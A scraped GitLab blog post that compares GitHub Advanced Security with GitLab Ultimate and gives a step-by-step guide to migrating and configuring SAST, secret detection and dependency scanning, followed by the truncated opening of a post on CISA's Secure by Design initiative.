with one platform for your entire software delivery lifecycle. GitHub provides an Advanced Security add-on, which enables additional security features within GitHub. However, it lacks the depth and breadth of security features provided natively by GitLab. Organizations looking to migrate to GitLab Ultimate to enhance their security across all areas of the SDLC can use this guide to compare the two offerings and as a tutorial to move to the GitLab platform.\n\nThis article includes:\n\n- [A comparison between GitLab Ultimate and GitHub Advanced Security](#a-comparison-between-gitlab-ultimate-and-github-advanced-security)\n- [How to migrate a GitHub repository to GitLab](#how-to-migrate-a-github-repository-to-gitlab)\n- [How to migrate from GitHub Advanced Security to GitLab Ultimate feature-by-feature](#how-to-migrate-feature-by-feature)\n- [An introduction to additional GitLab Ultimate's security features](#additional-gitlab-ultimate-security-features)\n\n## A comparison between GitLab Ultimate and GitHub Advanced Security\n\n[GitLab Ultimate](https://about.gitlab.com/pricing/ultimate/) is GitLab's top subscription tier for enterprises looking to deliver secure software faster. GitHub Advanced Security is an add-on to GitHub Enterprise, which enables additional security features.\n\n### Similarities between GitLab Ultimate and GitHub Advanced Security\n\nGitLab Ultimate and GitHub Advanced Security both provide:\n- Static Application Security Testing ([SAST](https://docs.gitlab.com/ee/user/application_security/sast/)), secret scanning, and dependency scanning\n- contextual vulnerability intelligence and resolution advice\n- a list of dependencies or software bill of materials ([SBOM](https://about.gitlab.com/blog/the-ultimate-guide-to-sboms/))\n- security metrics and insights\n\n### Differences between GitLab Ultimate and GitHub Advanced Security\n\nGitLab Ultimate differs from GitHub Advanced Security in the following ways:\n\n- GitLab natively provides additional code scanners such as container scanning, Dynamic Application Security Testing ([DAST](https://docs.gitlab.com/ee/user/application_security/dast/)), Web API fuzz testing, and more. These scanners are a mix of optimized proprietary and open source technologies with custom rulesets. For a full list, see the [GitLab AppSec documentation](https://docs.gitlab.com/ee/user/application_security/secure_your_application.html).\n- GitLab provides [granular security guardrails](https://docs.gitlab.com/ee/user/application_security/policies/) to prevent insecure code from being merged without approval.\n- GitLab security scanners can be run in [air-gapped or limited-connectivity environments](https://docs.gitlab.com/ee/user/application_security/offline_deployments/).\n- GitLab provides the [Compliance Center](https://docs.gitlab.com/ee/user/compliance/compliance_center/), which enables oversight of compliance violations across an entire organization.\n\nGitLab Ultimate also provides additional security and compliance capabilities, portfolio and value stream management, live upgrade assistance, and more. See the [GitLab Ultimate documentation](https://about.gitlab.com/pricing/ultimate/) to learn more about these additional features.\n\n## How to migrate a GitHub repository to GitLab\n\nGitLab provides a built-in importer, which allows you to import your GitHub projects from either GitHub.com or GitHub Enterprise to GitLab. The importer allows you to migrate not only the GitHub Repository to GitLab, but several other objects, including issues, collaborators (members), and pull requests. For a complete list of what can be migrated, see the [GitHub imported data documentation](https://docs.gitlab.com/ee/user/project/import/github.html#imported-data). You can perform the migration as follows:\n1. On the left sidebar, at the top, select **Create new (+)**.\n2. Select **New project/repository** under the **In GitLab** section.\n3. Select **Import project**.\n\n![Import project selection](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749674404/Blog/Content%20Images/1-Import-Project.png)\n\n4. Press the **GitHub** button.\n    - If using GitLab self-managed, then you must [enable the GitHub importer](https://docs.gitlab.com/ee/administration/settings/import_and_export_settings.html#configure-allowed-import-sources).\n    - Note that other importers can be initiated in the same way.\n5. Now, you can do one of the following:\n    - Authorize with GitHub Oauth by selecting **Authorize with GitHub**.\n    - Use a GitHub personal access token:\n       - Go to [https://github.com/settings/tokens/new](https://github.com/settings/tokens/new).\n       - In the **Note** field, enter a token description.\n       - Select the **repo** scope.\n       - Optionally, to import Collaborators, select the **read:org** scope.\n       - Press the **Generate token** button.\n       - On the GitLab import page, in the Personal Access Token field, paste the GitHub personal access token.\n6. Press the **Authenticate** button.\n7. Select the items you wish to migrate.\n8. Select the projects you wish to migrate and to where.\n9. Press the **Import** button.\n\nYour imported project should now be in your workspace. For additional guidance on migrating from GitHub to GitLab, watch this video:\n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/0Id5oMl1Kqs?si=HEpZVy94cpfPfAky\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\nYou can also perform the migration using a [GitHub personal access token](https://docs.gitlab.com/ee/user/project/import/github.html#use-a-github-personal-access-token) or the [GitLab REST API](https://docs.gitlab.com/ee/user/project/import/github.html#use-the-api). The importer also allows importing from other sources such as Bitbucket or Gitea. To learn more, read the [importer documentation](https://docs.gitlab.com/ee/user/project/import/).\n\n## How to migrate feature-by-feature\n\nLet’s go over how to leverage each feature provided by GitHub Advanced Security in GitLab Ultimate. You must have a [GitLab Ultimate license](https://about.gitlab.com/pricing/ultimate/) to continue. GitLab provides a [free 30-day trial](https://about.gitlab.com/free-trial/devsecops/) to get you started.\n\n### Code scanning\nGitHub provides code scanning to provide contextual vulnerability intelligence and advice for static source code. The same can be done within GitLab by enabling [SAST](https://docs.gitlab.com/ee/user/application_security/sast/). GitLab SAST scanners cover a wider set of programming languages and frameworks than GitHub’s [CodeQL](https://docs.github.com/en/code-security/code-scanning/introduction-to-code-scanning/about-code-scanning-with-codeql#about-codeql).\n\nTo enable code scanning in GitLab, you can simply add the [SAST template](https://docs.gitlab.com/ee/user/application_security/sast/#configure-sast-in-your-cicd-yaml) to your `.gitlab-ci.yml`:\n\n```yaml\ninclude:\n  - template: Jobs/SAST.gitlab-ci.yml\n```\n\nOnce the template has been added, any time new code is checked in, SAST will auto-detect the [programming languages](https://docs.gitlab.com/ee/user/application_security/sast/#supported-languages-and-frameworks ) used in your project. It will then scan the source code for known vulnerabilities.\n\n**Note:** Security scanners can also be added to your project using GitLab's [security configuration](https://docs.gitlab.com/ee/user/application_security/configuration/), which can automatically create a merge request to update your pipeline. To learn more, see the [Configure SAST by using the UI documentation](https://docs.gitlab.com/ee/user/application_security/sast/#configure-sast-by-using-the-ui).\n\nSAST results of the diff between the feature-branch and the target-branch display in the merge request widget. The merge request widget displays SAST results and resolutions that were introduced by the changes made in the merge request.\n\n![Security scanning in merge request](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749674404/Blog/Content%20Images/2-SAST-MR-View.png)\n\nEach vulnerability displays data to assist with remediation, including detailed description, severity, location, and resolution information:\n\n![SAST vulnerability details](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749674404/Blog/Content%20Images/3-SAST-MR-View-Detailed.png)\n\nYou can take action on these vulnerabilities:\n\n- **Dismiss vulnerability**: Allows a developer to dismiss the vulnerability with a comment. This assists the security team performing a review.\n- **Create issue**: Allows an issue to be created to keep track of a vulnerability that requires additional oversight.\n\nThese changes can also be seen inline when changing to the **Changes** view within the merge request.\n\n![SAST vulnerability changes view](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749674404/Blog/Content%20Images/4-SAST-MR-View-Changes.png)\n\n#### Customizing SAST scanners\n\nGitLab allows you to override a SAST job definition so you can change properties like variables, dependencies, or rules. You can do this by declaring a job with the same name as the SAST job to override. Then, place this new job after the template inclusion and specify any additional keys under it.\n\nFor example, the following configuration:\n- overwrites the version the `semgrep-sast` scanner uses\n- runs a script to fetch modules from private projects before running `gosec-sast`\n- configures all scanners to search at a maximum depth of 10\n\n```yaml\ninclude:\n  - template: Jobs/SAST.gitlab-ci.yml\n\nvariables:\n  SEARCH_MAX_DEPTH: 10\n\nsemgrep-sast:\n  variables:\n    SAST_ANALYZER_IMAGE_TAG: \"3.7\"\n\ngosec-sast:\n  before_script:\n    - |\n      cat \u003C\u003CEOF > ~/.netrc\n      machine gitlab.com\n      login $CI_DEPLOY_USER\n      password $CI_DEPLOY_PASSWORD\n      EOF\n```\n\n**Note:** The available SAST jobs can be found in the [`SAST.gitlab-ci.yml` template](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Jobs/SAST.gitlab-ci.yml). Configurations can be found in the [Available SAST CI/CD variables documentation](https://docs.gitlab.com/ee/user/application_security/sast/#available-cicd-variables).\n\n#### Customizing SAST rulesets\n\nFor each SAST analyzer, GitLab processes the code then uses rules to find possible weaknesses in source code. These rules determine what types of weaknesses the scanner reports.\n\n- For Semgrep-based SAST scanners, GitLab creates, maintains, and supports the rules that are used. It combines the Semgrep open source engine, GitLab-managed detection rules, and GitLab proprietary technology for vulnerability tracking and false positive detection.\n- For other SAST analyzers, the rules are defined in the upstream projects for each scanner.\n\nYou can customize the behavior of the SAST scanners by defining a ruleset configuration file in the repository being scanned:\n- Disable predefined rules (available for all analyzers)\n- Override predefined rules (available for all analyzers)\n- Replace predefined rules by synthesizing a custom configuration using passthroughs\n\nFor more information and examples on configuring SAST rules, see the [SAST rules](https://docs.gitlab.com/ee/user/application_security/sast/rules.html) and [Customizing rulesets documentation](https://docs.gitlab.com/ee/user/application_security/sast/customize_rulesets.html).\n\n### Secret scanning\n\nGitHub provides secret scanning, which can find, block, and revoke leaked secrets. The same can be done within GitLab by enabling [Secret Detection](https://docs.gitlab.com/ee/user/application_security/secret_detection/).\n\nTo enable Secret Detection in GitLab, you can simply add the following template to your `.gitlab-ci.yml`:\n\n```yaml\ninclude:\n  - template: Jobs/Secret-Detection.gitlab-ci.yml\n```\n\nOnce the template has been added, any time new code is checked in (or a pipeline is run), the secret scanner will scan the source code for known secrets. Pipeline Secret Detection scans different aspects of your code, depending on the situation. For all methods except the “Default branch”, Pipeline Secret Detection scans commits, not the working tree. See the [Secret detection coverage documentation](https://docs.gitlab.com/ee/user/application_security/secret_detection/pipeline/#coverage) to learn more about how secret scanning works.\n\nWhen creating a merge request, Secret Detection scans every commit made on the source branch. Just like in SAST, each detected vulnerability provides the following information (such as location) and identifiers to assist with the remediation process:\n\n![Secret Detection vulnerability details](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749674404/Blog/Content%20Images/5-Secret-Detection-MR-Detailed.png)\n\nSimilar to SAST, you can take action on these vulnerabilities straight from the merge request, including dismissing vulnerabilities, and creating issues.\n\n#### Customizing Secret Detection jobs\n\nGitLab allows you to override a Secret Detection job definition so you change properties like variables, dependencies, or rules. You can do this by declaring a job with the same name as the Secret Detection job. Then place this new job after the template inclusion and specify any additional keys under it. For example, the following configuration:\n\n- overwrites the stage the secret detection job runs on to `security`\n- enables the historic scanning\n- changes the Secrets Analyzer version to 4.5\n\n```yaml\ninclude:\n  - template: Jobs/Secret-Detection.gitlab-ci.yml\n\nsecret_detection:\n  stage: security\n  variables:\n    SECRET_DETECTION_HISTORIC_SCAN: \"true\"\n    SECRETS_ANALYZER_VERSION: \"4.5\"\n```\n\n**Note:** The available Secret Detection jobs can be found in the [SAST.gitlab-ci.yml template](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Jobs/Secret-Detection.gitlab-ci.yml). Available configurations can be found in the [Available Secret Detection CI/CD variables documentation](https://docs.gitlab.com/ee/user/application_security/secret_detection/pipeline/#customizing-analyzer-settings).\n\n#### Customizing Secret Detection rulesets\n\nThe Secret Detection analyzer allows you to customize which secrets are reported in the GitLab UI. The following customization options can be used separately, or in combination:\n\n- disable predefined rules\n- override predefined rules\n- synthesize a custom configuration\n- specify a remote configuration file\n\nFor example, by creating the file `.gitlab/secret-detection-ruleset.toml`, in the root directory of your project, the default GitLeaks package is extended to ignore test tokens from detection:\n\n```yaml\n### extended-gitleaks-config.toml\ntitle = \"extension of gitlab's default gitleaks config\"\n\n[extend]\n### Extends default packaged path\npath = \"/gitleaks.toml\"\n\n[allowlist]\n  description = \"allow list of test tokens to ignore in detection\"\n  regexTarget = \"match\"\n  regexes = [\n    '''glpat-1234567890abcdefghij''',\n  ]\n```\n\nFor more information on overriding the predefined analyzer rules, check out the [Secret Detection documentation](https://docs.gitlab.com/ee/user/application_security/secret_detection/pipeline/#override-predefined-analyzer-rules).\n\n#### Automatic response to leaked secrets\n\nGitLab Secret Detection automatically responds when it finds certain types of leaked secrets. Automatic responses can:\n- automatically revoke the secret\n- notify the partner that issued the secret and the partner can then revoke the secret, notify its owner, or otherwise protect against abuse\n\nGitLab can also notify partners when credentials they issue are leaked in public repositories on GitLab.com. If you operate a cloud or SaaS product and you’re interested in receiving these notifications, you can implement a Partner API, which is called by the GitLab Token Revocation API.\n\nSee the [Automatic response to leaked secrets documentation](https://docs.gitlab.com/ee/user/application_security/secret_detection/automatic_response.html) to learn more.\n\n### Supply chain security\n\nGitHub enables you to secure, manage, and report on software supply chains with automated security and version updates and one-click SBOMs. GitLab can meet your supply chain security needs using the Dependency Scanning and Dependency List (SBOM) features.\n\nTo enable Dependency Scanning in GitLab, you can simply add the following template to your `.gitlab-ci.yml`:\n\n```yaml\ninclude:\n  - template: Jobs/Dependency-Scanning.gitlab-ci.yml\n```\n\nOnce the template has been added, any time new code is checked in, Dependency Scanning will auto-detect the [package managers](https://docs.gitlab.com/ee/user/application_security/dependency_scanning/#supported-languages-and-package-managers) used in your project. It will then scan the dependencies used for known vulnerabilities.\n\nDependency Scanning results of the diff between the feature-branch and the target-branch display in the merge request widget. The merge request widget displays Dependency Scanning results and resolutions that were introduced by the changes made in the merge request. Within a merge request, each vulnerability displays relevant information to assist with remediation such as identifiers, evidence, and solutions:\n\n![Dependency Scanner vulnerability details](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749674404/Blog/Content%20Images/6-Dependency-Scanner-MR-View-Detailed.png)\n\nSimilar to SAST and Secret Detection, you can take action on these vulnerabilities straight from the merge request, including dismissing vulnerabilities and creating issues.\n\n#### Configuring Dependency Scanning\n\nTo override a job definition (for example, to change properties like variables or dependencies), declare a new job with the same name as the one to override. Place this new job after the template inclusion and specify any additional keys under it. For example, the following code:\n\n- disables automatic remediation of vulnerable dependencies\n- requires a build job to complete before Dependency Scanning\n\n```yaml\ninclude:\n  - template: Jobs/Dependency-Scanning.gitlab-ci.yml\n\ngemnasium-dependency_scanning:\n  variables:\n    DS_REMEDIATE: \"false\"\n  dependencies: [\"build\"]\n```\n\nTo learn more about configuring the dependency scanners, see the [Customizing analyzer behavior documentation](https://docs.gitlab.com/ee/user/application_security/dependency_scanning/#customizing-analyzer-behavior).\n\n#### Generating an SBOM\n\nGitLab provides a Dependency List (SBOM) to review your project or group dependencies and key details about those dependencies, including their known vulnerabilities. This list is a collection of dependencies in your project, including existing and new findings. The Dependency List is generated after the dependency scanner runs successfully on the [default branch](https://docs.gitlab.com/ee/user/project/repository/branches/default.html). To access the Dependency List:\n\n1. On the left sidebar, select **Search or go to** and find your project.\n2. Select **Secure > Dependency List**.\n\n![Dependency list (SBOM)](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749674404/Blog/Content%20Images/7-Dependency-List.png)\n\nFrom here you can see the following information on your dependencies:\n\n| Field\t| Description |\n| ----- | ----------- |\n| Component\t| The dependency’s name and version. |\n| Packager | The packager used to install the dependency. |\n| Location | For system dependencies, this lists the image that was scanned. For application dependencies, this shows a link to the packager-specific lock file in your project that declared the dependency. It also shows the dependency path to a top-level dependency, if any, and if supported. |\n| License | Links to dependency’s software licenses. A warning badge that includes the number of vulnerabilities detected in the dependency. |\n| Projects | Links to the project with the dependency. If multiple projects have the same dependency, the total number of these projects is shown. To go to a project with this dependency, select the Project's number, then search for and select its name. The project search feature is supported only on groups that have up to 600 occurrences in their group hierarchy. |\n\n\u003Cp>\u003C/p>\n\nSee the [Dependency List documentation](https://docs.gitlab.com/ee/user/application_security/dependency_list/) to learn more.\n\n### Security and compliance administration\n\nGitHub Advanced Security allows you to view security metrics and insights and assess code security risk. Now let’s examine how to do the same with GitLab Ultimate.\n\n#### Viewing security metrics and insights\n\nGitLab provides [Security dashboards](https://docs.gitlab.com/ee/user/application_security/security_dashboard/) to help assess the security posture of your applications. These dashboards display a collection of metrics, ratings, and charts for the vulnerabilities detected by the security scanners run on your project:\n\n- vulnerability trends over a 30-, 60-, or 90-day timeframe for all projects in a group\n- a letter grade rating for each project based on vulnerability severity\n- the total number of vulnerabilities detected within the past 365 days, including their severity\n\nTo access the Security dashboard:\n\n1. On the left sidebar, select **Search or go to** and find your project or group.\n2. From the side tab, select **Secure > Security** dashboard.\n3. Filter and search for what you need.\n\nThe group view displays your security posture for all projects in your group:\n\n![Group Security dashboard](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749674404/Blog/Content%20Images/8-SD-Group.png)\n\nThe project view displays your security posture for just the project:\n\n![Project Security dashboard](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749674404/Blog/Content%20Images/9-SD-Project.png)\n\n#### Assess code security risk\n\nGitLab Ultimate features a [Vulnerability Report](https://docs.gitlab.com/ee/user/application_security/vulnerability_report/), which provides information about vulnerabilities from scans of the default branch. It contains cumulative results of all successful jobs, regardless of whether the pipeline was successful. At all levels, the Vulnerability Report contains:\n\n- totals of vulnerabilities per severity level\n- filters for common vulnerability attributes\n- details of each vulnerability, presented in tabular layout\n\n![Vulnerability Report](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749674404/Blog/Content%20Images/10-Vulnerability-Report.png)\n\nClicking on a vulnerability enables access to its [Vulnerability Page](https://docs.gitlab.com/ee/user/application_security/vulnerabilities/), which contains details of the vulnerability including a description, location, identifiers, and more. Below is an example of the Vulnerability Page for an SQL Injection vulnerability detected by our SAST scanner:\n\n![SQL Injection Vulnerability Page](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749674404/Blog/Content%20Images/11-Vulnerability-Page-1.png)\n\nFrom here the security team can collaborate by [changing the status of a vulnerability](https://docs.gitlab.com/ee/user/application_security/vulnerabilities/#change-the-status-of-a-vulnerability) along with a reason and [creating issues to better track changes](https://docs.gitlab.com/ee/user/application_security/vulnerabilities/#create-a-gitlab-issue-for-a-vulnerability).\n\nFrom the Vulnerability Page, you can also leverage [GitLab Duo](https://about.gitlab.com/gitlab-duo/), our AI-powered suite of features, to explain the vulnerability and [automatically create a merge request that resolves the vulnerability](https://docs.gitlab.com/ee/user/application_security/vulnerabilities/#vulnerability-resolution).\nGitLab Duo's [Vulnerability Explanation](https://docs.gitlab.com/ee/user/application_security/vulnerabilities/#vulnerability-explanation) uses a large language model to:\n\n- summarize the vulnerability.\n- help developers and security analysts to understand the vulnerability, how it could be exploited, and how to fix it\n- provide a suggested mitigation\n\n![SQL Injection GitLab Duo AI explanation](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749674404/Blog/Content%20Images/13-Explain-Vulnerability.png)\n\n## Additional GitLab Ultimate security features\n\nGitLab Ultimate contains many more security features that cannot be found within GitHub Advanced Security. A few examples of these additional security features are: additional security scanners for the complete software development lifecycle (SDLC), granular security guardrails, and custom permissions.\n\n### Security scanners for the entire SDLC\n\nOur portfolio of security scanners extends spans the SDLC.\n\n| Scanner Name | Scans | Languages/Files scanned |\n|  -------------- | ----- | ------------------------- |\n| [Static Application Security Testing (SAST)](https://docs.gitlab.com/ee/user/application_security/sast/) | Static source code | C/C++, Java, Python, Go, JavaScript, C#, and more |\n| [Dynamic Application Security Testing (DAST)](https://docs.gitlab.com/ee/user/application_security/dast/) | Running web application, live API | Language-agnostic |\n| [Infrastructure as Code (IaC) Scanning](https://docs.gitlab.com/ee/user/application_security/iac_scanning/) | IaC files |Terraform, AWS Cloud Formation, Ansible, and more |\n| [Container Scanning](https://docs.gitlab.com/ee/user/application_security/container_scanning/) | Static and running container images | Dockerfile |\n| [Dependency Scanning and License Scanning](https://docs.gitlab.com/ee/user/application_security/dependency_scanning/) | Application dependencies | Requirements.txt, Yarn, Gradle, Npm, and more |\n| [Web API Fuzz Testing](https://docs.gitlab.com/ee/user/application_security/api_fuzzing/) | Sends random/malformed data to web-api | OpenAPI, GraphQL, HAR, Postman Collection |\n| [Coverage-guided Fuzz Testing](https://docs.gitlab.com/ee/user/application_security/coverage_fuzzing/) | Sends random/malformed data to function | C/C++, Go, Swift, Python, Rust, Java, JavaScript, AFL |\n\n\u003Cp>\u003C/p>\n\nGitLab also allows you to integrate [third-party scanners](https://about.gitlab.com/blog/integrate-external-security-scanners-into-your-devsecops-workflow/) and [custom scanners](https://about.gitlab.com/blog/how-to-integrate-custom-security-scanners-into-gitlab/) into the platform. Once integrated, the scanner results are automatically presented in various places in GitLab, such as the Pipeline view, merge request widget, and Security dashboard. See the [Security Scanner Integration documentation](https://docs.gitlab.com/ee/development/integrations/secure.html) to learn more.\n\n### Granular security and compliance policies\n\nPolicies in GitLab provide security and compliance teams with [a way to enforce controls globally in their organization](https://about.gitlab.com/blog/meet-regulatory-standards-with-gitlab/). Security teams can ensure:\n\n- security scanners are enforced in development team pipelines with proper configuration\n- all scan jobs execute without any changes or alterations\n- proper approvals are provided on merge requests based on results from those findings\n\n![Merge Request Security Policies](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749674404/Blog/Content%20Images/14-MR-Policy.png)\n\nCompliance teams can centrally enforce multiple approvers on all merge requests and ensure various settings are enabled on projects in scope of organizational requirements, such as enabling or locking merge request and repository settings. To learn more see the [GitLab Security Policy](https://docs.gitlab.com/ee/user/application_security/policies/) documentation.\n\n### Custom roles and granular permissions\n\n[GitLab Ultimate provides custom roles](https://about.gitlab.com/blog/how-to-tailor-gitlab-access-with-custom-roles/), which allow an organization to create user roles with the precise privileges and permissions required for that organization’s needs.\n\nFor example, a user could create a “Security Auditor” role with permissions to view security vulnerabilities in the system, but not be able to view source code, nor perform any changes within the repository. This granular set of permissions enables well-defined separation of duties.\n\n![Custom role creation](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749674404/Blog/Content%20Images/15-Custom-Roles.png)\n\nTo learn more see the [Custom Roles](https://docs.gitlab.com/ee/user/custom_roles.html) and [available Granular Permissions](https://docs.gitlab.com/ee/user/custom_roles/abilities.html) documentation.\n\n### Compliance Center\n\nThe Compliance Center is the central location for compliance teams to manage their compliance standards’ adherence reporting, violations reporting, and compliance frameworks for their group. The Compliance Center includes the following:\n\n- [Compliance standards adherence dashboard](https://docs.gitlab.com/ee/user/compliance/compliance_center/compliance_standards_adherence_dashboard.html) lists the adherence status of projects complying to the GitLab standard.\n- [Compliance violations report](https://docs.gitlab.com/ee/user/compliance/compliance_center/compliance_violations_report.html) shows a high-level view of merge request activity for all projects in the group.\n- [Compliance frameworks report](https://docs.gitlab.com/ee/user/compliance/compliance_center/compliance_frameworks_report.html) shows all the compliance frameworks in a group.\n- [Compliance projects report](https://docs.gitlab.com/ee/user/compliance/compliance_center/compliance_projects_report.html) shows the compliance frameworks that are applied to projects in a group.\n\n![Compliance Center](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749674404/Blog/Content%20Images/16-Compliance-Center.png)\n\nThese dashboards assist with making sure separation of duties is being followed to optimize compliance within your organization. To learn more see the [Compliance Center documentation](https://docs.gitlab.com/ee/user/compliance/compliance_center/).\n\n## Read more\n\nThis article covers only a portion of the wide range of security features GitLab Ultimate offers. Check out these resources to learn more about how GitLab Ultimate can help enhance your organizational security and developer efficiency:\n\n- [Why GitLab Ultimate](https://about.gitlab.com/pricing/ultimate/)\n- [Getting Started with DevSecOps Tutorial](https://gitlab-da.gitlab.io/tutorials/security-and-governance/devsecops/simply-vulnerable-notes/)\n- [Getting Started with DevSecOps Sample Project](https://gitlab.com/gitlab-da/tutorials/security-and-governance/devsecops/simply-vulnerable-notes)\n- [Import your project from GitHub to GitLab documentation](https://docs.gitlab.com/ee/user/project/import/github.html)\n- [Migrating from GitHub Actions documentation](https://docs.gitlab.com/ee/ci/migration/github_actions.html)\n- [Tutorial: Create and run your first GitLab CI/CD pipeline](https://docs.gitlab.com/ee/ci/quick_start/)\n- [Tutorial: Create a complex pipeline](https://docs.gitlab.com/ee/ci/quick_start/tutorial.html)\n- [CI/CD YAML syntax reference](https://docs.gitlab.com/ee/ci/yaml/)",[696,6141,674,479,942],"zero trust",{"slug":6143,"featured":92,"template":678},"migration-guide-github-advanced-security-to-gitlab-ultimate","content:en-us:blog:migration-guide-github-advanced-security-to-gitlab-ultimate.yml","Migration Guide Github Advanced Security To Gitlab Ultimate","en-us/blog/migration-guide-github-advanced-security-to-gitlab-ultimate.yml","en-us/blog/migration-guide-github-advanced-security-to-gitlab-ultimate",{"_path":6149,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":6150,"content":6155,"config":6161,"_id":6163,"_type":16,"title":6164,"_source":17,"_file":6165,"_stem":6166,"_extension":20},"/en-us/blog/happy-birthday-secure-by-design",{"title":6151,"description":6152,"ogTitle":6151,"ogDescription":6152,"noIndex":6,"ogImage":4018,"ogUrl":6153,"ogSiteName":1180,"ogType":1181,"canonicalUrls":6153,"schema":6154},"Happy birthday, Secure by Design!","The U.S. government's initiative to ensure greater security in software products turns one. Find out what GitLab has done to align with this critical effort.","https://about.gitlab.com/blog/happy-birthday-secure-by-design","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Happy birthday, Secure by Design!\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Joel Krooswyk\"}],\n        \"datePublished\": \"2024-04-30\",\n      }",{"title":6151,"description":6152,"authors":6156,"heroImage":4018,"date":6158,"body":6159,"category":674,"tags":6160},[6157],"Joel Krooswyk","2024-04-30","When the Cybersecurity and Infrastructure Security Agency (CISA) first published its [Secure by Design](https://www.cisa.gov/securebydesign) software protection initiative on April 13, 2023, the industry paid close attention. The initiative urges all software manufacturers to take the steps necessary to ensure that the products they ship are, in fact, secure by design. At GitLab, we quickly assessed our alignment with the initiative and over the past year have continued to innovate in accordance with CISA's guidelines.\n\nCISA's Secure by Design introduced three software security principles:\n\n1. Take ownership of customer security outcomes.\n\n2. Embrace radical transparency and accountability.\n\n3. Build organizational structure and leadership to achieve these goals.\n\n## A year of government guidance  \n\nThe U.S. government has produced significant guidance throughout the past year that reflects the Secure by Design theme. Here are just a few highlights:\n\n* August 2023: ONCD in partnership with several other agencies kicked off the [OS3i Initiative](https://www.whitehouse.gov/oncd/briefing-room/2023/08/10/fact-sheet-office-of-the-national-cyber-director-requests-public-comment-on-open-source-software-security-and-memory-safe-programming-languages/) to prioritize focus areas related to open source software security.\n* August 2023: NIST produced [SP 800-204D ](https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-204D.pdf)to provide practical software supply chain security strategies for DevSecOps CI/CD pipelines.\n* October 2023: CISA released a second iteration of the [Secure by Design](https://www.cisa.gov/sites/default/files/2023-10/SecureByDesign_1025_508c.pdf) document.\n* October 2023: The [AI Executive Order](https://www.whitehouse.gov/briefing-room/statements-releases/2023/10/30/fact-sheet-president-biden-issues-executive-order-on-safe-secure-and-trustworthy-artificial-intelligence/) was issued by the Biden Administration. Since then, AI engagement guidelines have been produced by most government agencies.\n* December 2023: CISA produced [Memory Safe Roadmap guidance](https://www.cisa.gov/sites/default/files/2023-12/The-Case-for-Memory-Safe-Roadmaps-508c.pdf).\n* February 2024: NIST released the [CyberSecurity Framework 2.0](https://www.nist.gov/news-events/news/2024/02/nist-releases-version-20-landmark-cybersecurity-framework).\n* March 2024: CISA and OMB published the [Secure Software Development Attestation Form](https://www.cisa.gov/secure-software-attestation-form) and opened a [repository](https://www.cisa.gov/news-events/news/cisa-publishes-repository-software-attestation-and-artifacts) for collection of the attestations.\n\n## How GitLab has evolved with the Secure by Design initiative\n\nGitLab has also continued to grow in alignment with the Secure by Design initiative over the past year. Here are some examples.\n\n### GitLab signed the Secure by Design Pledge\n\nGitLab is proud to have signed the CISA [Secure by Design Pledge](https://www.cisa.gov/securebydesign/pledge).\n\n\"The Secure by Design concepts are well-aligned with GitLab's core values. As the most comprehensive AI-powered DevSecOps platform, GitLab offers its unwavering support towards CISA’s efforts to instill a Secure by Design mindset in software manufacturers. GitLab is proud to make the Secure by Design Pledge, and we firmly believe these efforts will help us enable everyone to innovate and succeed on a safe, secure, and trusted DevSecOps platform,\" said GitLab Chief Information Security Officer Josh Lemos.\n\n### \"Secure by default\" practices\n\nConfiguring and securing installations and users can be a challenge. GitLab developed granular user access with [custom user roles](https://docs.gitlab.com/ee/user/custom_roles.html) and [customizable permissions](https://docs.gitlab.com/ee/user/custom_roles/abilities.html). Management of [tokens](https://docs.gitlab.com/ee/security/token_overview.html), [API service accounts](https://docs.gitlab.com/ee/user/profile/service_accounts.html), and [credentials](https://docs.gitlab.com/ee/administration/credentials_inventory.html) have been in focus with continuous improvements and more rigorous authentication security capabilities throughout the year. \n\n### Secure software development practices\n\nWith every release, GitLab has incrementally enhanced scanning accuracy, coverage, and capabilities across our entire suite of security analyzers.\n\n- Some [scan results are presented in developer context](https://docs.gitlab.com/ee/user/application_security/#gitlab-workflow-extension-for-vs-code) (like the IDE) simplify workflows and shift security further left.\n\n- [CI/CD pipeline](https://docs.gitlab.com/ee/ci/pipelines/) capabilities, which have been expanded and simplified, ensure better functionality while also bolstering security and compliance with enforcement and policies.\n\n- [Vulnerability management](https://docs.gitlab.com/ee/user/application_security/vulnerabilities/) provides better views at scale, improved filtering, and more options to take action against vulnerability findings.\n\n- [Artifact attestations](https://docs.gitlab.com/ee/ci/yaml/signing_examples.html) provide a trustworthy authentication of each software artifact.\n\n### Secure business practices\n\nEach GitLab release demonstrated increased focus on compliance. Enhanced [auditing](https://docs.gitlab.com/ee/administration/audit_event_reports.html) and [event streaming](https://docs.gitlab.com/ee/administration/audit_event_streaming/) provide accountability across the entire SDLC. Compliance teams are now better equipped to proactively align to requirements, thanks to increased [policy management](https://docs.gitlab.com/ee/administration/compliance.html#policy-management), [workflow automation](https://docs.gitlab.com/ee/administration/compliance.html#compliant-workflow-automation), visibility via [compliance reporting](https://docs.gitlab.com/ee/user/compliance/compliance_center/), and [exportability of data](https://docs.gitlab.com/ee/user/compliance/compliance_center/compliance_standards_adherence_dashboard.html#export-compliance-standards-adherence-report-for-projects-in-a-group). \n\n## GitLab's Secure by Design features\n\nHere are some of the features and capabilities that align with Secure by Design.\n\n### 